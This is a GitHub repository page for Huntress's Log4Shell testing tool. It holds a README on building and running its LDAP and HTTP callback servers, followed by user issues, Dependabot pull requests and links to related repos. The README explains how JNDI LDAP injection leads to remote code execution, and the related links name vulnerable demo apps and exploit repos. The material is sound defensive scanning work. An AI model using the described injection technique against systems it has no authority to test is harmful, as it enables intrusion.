Huntress Log4Shell Testing Application

Overview

Huntress Log4Shell Testing Application

This repo holds the source for the HTTP and LDAP servers hosted here. Both services are hosted under one Java application built here with maven.

We have released the source code of this application to promote transparency, and let researchers verify for themselves that our service does nothing nefarious.

⚠️ The application does not trigger any remote code execution.

‼️ This tool is intended for use by authorized persons or researchers only. You should only test systems on which you have explicit permission or authority. If you find vulnerable applications or libraries, you should exercise responsible disclosure.

How does it work?

In short, the Log4Shell vulnerability normally works by injecting a JNDI LDAP string into your logs, which triggers Log4j to reach out to the specified LDAP server looking for more information. In a malicious scenario, the LDAP server can then serve code back to the victim machine which will be automatically executed in-memory.

This application has two parts. The first is an HTTP server which generates a random UUID which uniquely identifies your session/testing, and presents you with a payload which can be used to test for the Log4Shell vulnerability.

You can then paste this payload into various inputs on your application (form fields, input boxes, User-Agent strings, etc.). If the application is vulnerable, it will reach out to our LDAP server.

The second part of this application is the LDAP server itself. This LDAP server is run out of the same process. After receiving a connection from a vulnerable client, it will immediately respond with an LDAP Operation Error. No code is sent from our LDAP server to your client. You can see this interaction in LDAPServer.java. After sending the error, the LDAP server will simply log the UTC timestamp and the remote IP address in the Redis cache for you to lookup later.

If any of your clients do reach out, you can view the timestamps and external IP addresses at your specific "view" URL (presented through a button on the index page).

All entries in the cache have a 30 minute time-out. This means that 30 minutes after your last request, all results will be gone from the Redis cache forever.

Building

You can build a JAR file with the following command:

mvn clean package

You will then have a file named target/log4shell-jar-with-dependencies.jar which contains all required dependencies as well as the testing application.

Runtime Requirements

The application is self-contained in the generated JAR file, however it does require a Redis cache server at runtime. The URL for the redis cache is specified through command line arguments. The cache server will hold valid UUIDs for users as well as track known "hits" for the LDAP endpoint.

Running

The JAR file can be executed directly. Configuration can be passed via command line arguments or a YAML configuration file. The hostname argument is used to construct the testing payloads given to the user and must be an IP address or resolvable domain name which can be reached from the victim server or application which you are testing.

# Help/usage details
$ java -jar target/log4shell-jar-with-dependencies.jar --help
Usage: log4shell-tester [-hV] [-c=<config_file>] [--hostname=<hostname>]
                        [--http-host=<http_host>] [--http-port=<http_port>]
                        [--ldap-host=<ldap_host>] [--ldap-port=<ldap_port>]
                        [--redis-url=<redis_url>]
Execute the Huntress Log4Shell-Tester HTTP and LDAP servers.
  -c, --config=<config_file>
                  Path to YAML configuration file (overrides commandline
                    options).
  -h, --help      Show this help message and exit.
      --hostname=<hostname>
                  The publicly routable IP address or resolvable hostname of
                    the server (default: 127.0.0.1).
      --http-host=<http_host>
                  IP address on which to listen for HTTP connections (default:
                    127.0.0.1)
      --http-port=<http_port>
                  Port to listen for HTTP connections (default: 8000)
      --ldap-host=<ldap_host>
                  IP address on which to listen for LDAP connections (default:
                    0.0.0.0)
      --ldap-port=<ldap_port>
                  Port to listen for LDAP connections (default: 1389)
      --redis-url=<redis_url>
                  Connection string for the Redis cache server (default: redis:
                    //localhost:6379)
  -V, --version   Print version information and exit.
  
# Example invocation listening on 127.0.0.1 for HTTP (default).
#   This is recommended if running publicly so you can setup
#   a proxy like nginx to handle SSL publicly.
$ java -jar target/log4shell-jar-with-dependencies.jar \
   --hostname my-log4shell-tester.something.com \
   --http-host 127.0.0.1 \
   --http-port 8000 \
   --ldap-host 0.0.0.0 \
   --ldap-port 1389 \
   --redis-url "redis://my-redis-url.something.com:6379"
   
# Example invocation allowing HTTP inbound externally
$ java -jar target/log4shell-jar-with-dependencies.jar \
   --hostname my-log4shell-tester.something.com \
   --http-host 0.0.0.0 \
   --http-port 8000 \
   --ldap-host 0.0.0.0 \
   --ldap-port 1389 \
   --redis-url "redis://:[email protected]:6379"
   
# Example invocation with a configuration file (recommended to better store
#   redis secrets).
$ java -jar target/log4shell-jar-with-dependencies.jar \
   --config /path/to/log4shell/config.yaml

Configuration File

The configuration file is a YAML document that provides the same options as the command line arguments, but in snake_case instead of kabab-case. An example configuration file with the default values looks like:

⚠️ Any configurations specified in the configuration file will override command-line arguments.

# These represent the default values
http_host: 127.0.0.1
http_port: 8000
ldap_host: 0.0.0.0
ldap_port: 1389
redis_url: redis://localhost:6379
hostname: 127.0.0.1
Comments
  • Error: Could not find or load main class com.huntresslabs.log4shell.App

    Error: Could not find or load main class com.huntresslabs.log4shell.App

    Hi folks. Whem I am running the jar java -jar log4shell-jar-with-dependencies.jar --help

    After running I see the message Error: Could not find or load main class com.huntresslabs.log4shell.App

    Any ideas?

    opened by mulrus 2
  • Add configs and instructions for deploying to Heroku

    Add configs and instructions for deploying to Heroku

    Hello again!

    I wanted to make a separate service for Minecrafters, and in that process, I added some Heroku configs for myself. I thought I'd add the Heroku-specific work to your repository in case people may want to spin up a quick Heroku app on their own. A live Heroku example of this branch can be found here:

    https://log4shell-heroku-example.herokuapp.com/

    I plan on taking this app down once this PR is rejected/merged.

    Cheers,

    Ian

    opened by ianrandmckenzie 2
  • It does not work like expected

    It does not work like expected

    Hey there,

    I tried this application and also the website itself, but I never get an response....I checked it against a definitve vulnerable log4j server....but it does not work like it should.

    Also for running it without main class I had to use following command: java -cp target/log4shell-jar-with-dependencies.jar com.huntresslabs.log4shell.App hostname 82 83

    opened by ChiyoDragon 2
  • Bump undertow-core from 2.2.14.Final to 2.2.15.Final

    Bump undertow-core from 2.2.14.Final to 2.2.15.Final

    Bumps undertow-core from 2.2.14.Final to 2.2.15.Final.

    Commits
    • c0b0d33 Prepare 2.2.15.Final
    • a3aebce Merge pull request #1290 from carterkozak/UNDERTOW-2019
    • 8531ff7 Merge pull request #1277 from gaol/test_undertow-1981
    • cda3aae Merge pull request #1289 from carterkozak/UNDERTOW-2018
    • 19a17fe Merge pull request #1288 from carterkozak/UNDERTOW-2017
    • c5298bd Merge pull request #1283 from baranowb/UNDERTOW-2012
    • ad3c5db Merge pull request #1281 from Ortus-Solutions/dev/undertow-2011
    • afb3e12 Merge pull request #1280 from aogburn/03102603
    • cd40388 [UNDERTOW-2025][UNDERTOW-1981] Test that client cannot access files inside of...
    • 7b5681b Merge pull request #1274 from baranowb/UNDERTOW-1994
    • Additional commits viewable in compare view

    Dependabot compatibility score

    Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.


    Dependabot commands and options

    You can trigger Dependabot actions by commenting on this PR:

    • @dependabot rebase will rebase this PR
    • @dependabot recreate will recreate this PR, overwriting any edits that have been made to it
    • @dependabot merge will merge this PR after your CI passes on it
    • @dependabot squash and merge will squash and merge this PR after your CI passes on it
    • @dependabot cancel merge will cancel a previously requested merge and block automerging
    • @dependabot reopen will reopen this PR if it is closed
    • @dependabot close will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually
    • @dependabot ignore this major version will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)
    • @dependabot ignore this minor version will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)
    • @dependabot ignore this dependency will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)
    • @dependabot use these labels will set the current labels as the default for future PRs for this repo and language
    • @dependabot use these reviewers will set the current reviewers as the default for future PRs for this repo and language
    • @dependabot use these assignees will set the current assignees as the default for future PRs for this repo and language
    • @dependabot use this milestone will set the current milestone as the default for future PRs for this repo and language

    You can disable automated security fix PRs for this repo from the Security Alerts page.

    dependencies 
    opened by dependabot[bot] 1
  • add feature for embedded redis database

    add feature for embedded redis database

    Allows user to use Redis database embedded within the Jar file. For those who don't want to/cannot use/are too lazy to use (me) self hosted Redis.

    Added these flags:

    --embeddedRedisPort [int]
    --useEmbeddedRedis [bool]
    
    opened by HenryFBP 1
  • Bump snakeyaml from 1.29 to 1.32

    Bump snakeyaml from 1.29 to 1.32

    Dependabot compatibility score

    Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.


    Dependabot commands and options

    You can trigger Dependabot actions by commenting on this PR:

    • @dependabot rebase will rebase this PR
    • @dependabot recreate will recreate this PR, overwriting any edits that have been made to it
    • @dependabot merge will merge this PR after your CI passes on it
    • @dependabot squash and merge will squash and merge this PR after your CI passes on it
    • @dependabot cancel merge will cancel a previously requested merge and block automerging
    • @dependabot reopen will reopen this PR if it is closed
    • @dependabot close will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually
    • @dependabot ignore this major version will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)
    • @dependabot ignore this minor version will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)
    • @dependabot ignore this dependency will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)
    • @dependabot use these labels will set the current labels as the default for future PRs for this repo and language
    • @dependabot use these reviewers will set the current reviewers as the default for future PRs for this repo and language
    • @dependabot use these assignees will set the current assignees as the default for future PRs for this repo and language
    • @dependabot use this milestone will set the current milestone as the default for future PRs for this repo and language

    You can disable automated security fix PRs for this repo from the Security Alerts page.

    dependencies 
    opened by dependabot[bot] 0
  • Bump undertow-core from 2.2.14.Final to 2.2.19.Final

    Bump undertow-core from 2.2.14.Final to 2.2.19.Final

    Bumps undertow-core from 2.2.14.Final to 2.2.19.Final.

    Commits
    • 2ec4d95 Prepare 2.2.19.Final
    • e52cefb Merge pull request #1361 from fl4via/2.2.x_backport_bug_fixes
    • 215316d [UNDERTOW-1997] Add test for a security constraint with "/" path URL Pattern
    • e2b1e68 [UNDERTOW-1997] Corrected handling of security constraints with URL pattern '/'
    • e8ae803 [UNDERTOW-1934] invoke onClose in case of network failure
    • 6f620cd [UNDERTOW-2125] At ReadTimeoutStreamSourceConduit, skip expiration if connect...
    • 9a06b56 Merge pull request #1353 from kstekovi/UNDERTOW-2112_2.2.x
    • 5177c78 Merge pull request #1359 from fl4via/2.2.x_backport_bug_fixes
    • 1d95f77 [UNDERTOW-2135] Partial revert of hack from commit id: 55445de
    • 7d3a045 [UNDERTOW-2133] Handle RequestTooBigException
    • Additional commits viewable in compare view

    Dependabot compatibility score

    Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.


    Dependabot commands and options

    You can trigger Dependabot actions by commenting on this PR:

    • @dependabot rebase will rebase this PR
    • @dependabot recreate will recreate this PR, overwriting any edits that have been made to it
    • @dependabot merge will merge this PR after your CI passes on it
    • @dependabot squash and merge will squash and merge this PR after your CI passes on it
    • @dependabot cancel merge will cancel a previously requested merge and block automerging
    • @dependabot reopen will reopen this PR if it is closed
    • @dependabot close will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually
    • @dependabot ignore this major version will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)
    • @dependabot ignore this minor version will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)
    • @dependabot ignore this dependency will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)
    • @dependabot use these labels will set the current labels as the default for future PRs for this repo and language
    • @dependabot use these reviewers will set the current reviewers as the default for future PRs for this repo and language
    • @dependabot use these assignees will set the current assignees as the default for future PRs for this repo and language
    • @dependabot use this milestone will set the current milestone as the default for future PRs for this repo and language

    You can disable automated security fix PRs for this repo from the Security Alerts page.

    dependencies 
    opened by dependabot[bot] 0
  • update readme with installation requirements

    update readme with installation requirements

    It'd be cool to know that you gotta do a

    sudo apt install git maven redis default-jre
    

    and it really only run on linux or WSL2 in the readme. I think that's everything.

    opened by MichaelHedges 0
  • Remove REDIS dependency

    Remove REDIS dependency

    For Windows users, having a dependency on REDIS can be a big constraints.

    The proposal is to replace REDIS by a 100% java cache (caffeine, see https://github.com/ben-manes/caffeine ). As a consequence, the tool is 100% self contained (no runtime dependency anymore)

    opened by jbenech 0
  • Create LICENSE

    Create LICENSE

    Hello Huntress Labs,

    thank you for making this app publicly available! During my revision of your code i noticed you haven't added a license yet. I looked up your other projects and decided to suggest the MIT Licence.

    Cheers,

    Merlin

    opened by klimer2012 0
  • Added ease of deployment changes

    Added ease of deployment changes

    • Removed hardcoded command in dockerfile
    • Added docker-compose file for easy spin ups
    • There is an issue connecting to a redis container from the java connection agent. current workaround is to use the host network running to the container to expose the ports. Not ideal but works. i.e. The Java redis library doesn't know how to work with docker container name DNS resolution presently and fails when it tries to generate a new UUID
    opened by ProjectInitiative 0
Owner
Huntress Labs
Huntress Labs
Log4Shell sample vulnerable application (CVE-2021-44228)

Log4Shell sample vulnerable application (CVE-2021-44228)

StandB 5 Dec 26, 2021
A Basic Java Application Vulnerable to the Log4Shell RCE

This is a basic, minimal, intentionally vulnerable Java web application including a version (2.14.1) of the log4j library affected by the infamous log4shell (CVE-2021-44228) vulnerability.

null 31 Nov 9, 2022
CVE-2021-44228 (Log4Shell) Proof of Concept

CVE-2021-44228 (Log4Shell) Proof of Concept Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect ag

Sunnyvale S.r.l. 5 Mar 18, 2022
Log4Shell RCE exploit using a gadget class. Not dependent on an old JDK version to work.

Log4Shell RCE exploit using a gadget class. Not dependent on an old JDK version to work.

null 8 Jan 4, 2022
Disables JNDI lookup globally using Java agent instrumentation, mitigation for Log4Shell attacks.

NoJNDI This is a simple proof of concept agent that disables JNDI lookups globally across the JVM. This is useful for mitigating the Log4Shell attack,

Will Sargent 9 Dec 29, 2021
An LDAP RCE exploit for CVE-2021-44228 Log4Shell

log4j-poc An LDAP RCE exploit for CVE-2021-44228 Log4Shell Description The demo Tomcat 8 server on port 8080 has a vulnerable app (log4shell) deployed

null 60 Dec 10, 2022
Log4Shell Zero-Day Exploit Proof of Concept

Log4Shell Zero-Day Exploit if attacker manage to log this string ${jndi:ldap://someaddresshere/param1=value1} to log4j it somehow loads the class/java

o7 19 Oct 9, 2022
Contains all my research and content produced regarding the log4shell vulnerability

Objective Contains all my research and content produced regarding the log4shell vulnerability. Content Folder "analysis" Contain the information that

Dominique RIGHETTO 30 Oct 28, 2022
PCRE RegEx matching Log4Shell CVE-2021-44228 IOC in your logs

Log4Shell-Rex The following RegEx was written in an attempt to match indicators of a Log4Shell (CVE-2021-44228 and CVE-2021-45046) exploitation. If yo

back2root 286 Nov 9, 2022
A mitigation for CVE-2021-44228 (log4shell) that works by patching the vulnerability at runtime. (Works with any vulnerable java software, tested with java 6 and newer)

Log4jPatcher A Java Agent based mitigation for Log4j2 JNDI exploits. This agent employs 2 patches: Disabling all Lookup conversions (on supported Log4

null 45 Dec 16, 2022
Burp Extension for BFAC (Advanced Backup-File Artifacts Testing for Web-Applications)

BFAC - Burp Extension Burp Extension for BFAC (Advanced Backup-File Artifacts Testing for Web-Applications). What is BFAC - Burp Extension ? Backup fi

SEC-IT 18 Jul 16, 2022
Hdiv CE | Application Self-Protection

New to Hdiv? Check this out Hdiv: Application Self-Protection Hdiv is a leading provider of open source software for real-time, self-protected applica

Hdiv 208 Nov 14, 2022
OACC (Object ACcess Control) is an advanced Java Application Security Framework

OACC Java Application Security Framework What is OACC? OACC - pronounced [oak] - is a fully featured API to both enforce and manage your application's

null 103 Nov 24, 2022
This application can recognize the sign language alphabets and help people who do not understand sign language to communicate with the speech and hearing impaired.

Sign Language Recognition App This application can recognize the sign language alphabets and help people who do not understand sign language to commun

Mihir Gandhi 12 Oct 7, 2021
Spring boot application to display number of corona cases

Corona-Cases-Counter Spring boot application to display number of corona cases This application consumes data from a CSV file which was used to docume

Hudson Obai 3 Aug 29, 2021
First Blood Donor Application

Find Blood Donor This is an android application which helps users to find blood donor's in their nearby locality. Why did you made this? My project "F

Kartik Soni 2 Oct 7, 2021
Make a customized list of exercises, create and save workouts, and be led through your routine. This application is currently under development.

HIIT Workout Builder ABOUT This application allows you to create and be led through customized high-intensity interval training (HIIT) sessions. The a

null 1 Nov 28, 2022
Library to easily configure API Key authentication in (parts of) your Spring Boot Application

42 API Key Authentication A library to easily configure API Key authentication in (parts of) your Spring Boot Application. Features Easily configure A

null 2 Dec 8, 2021
A desktop java GUI application to encrypt your plain text

A desktop java GUI application to encrypt your plain text

Nikhil Narayanan 4 Sep 10, 2022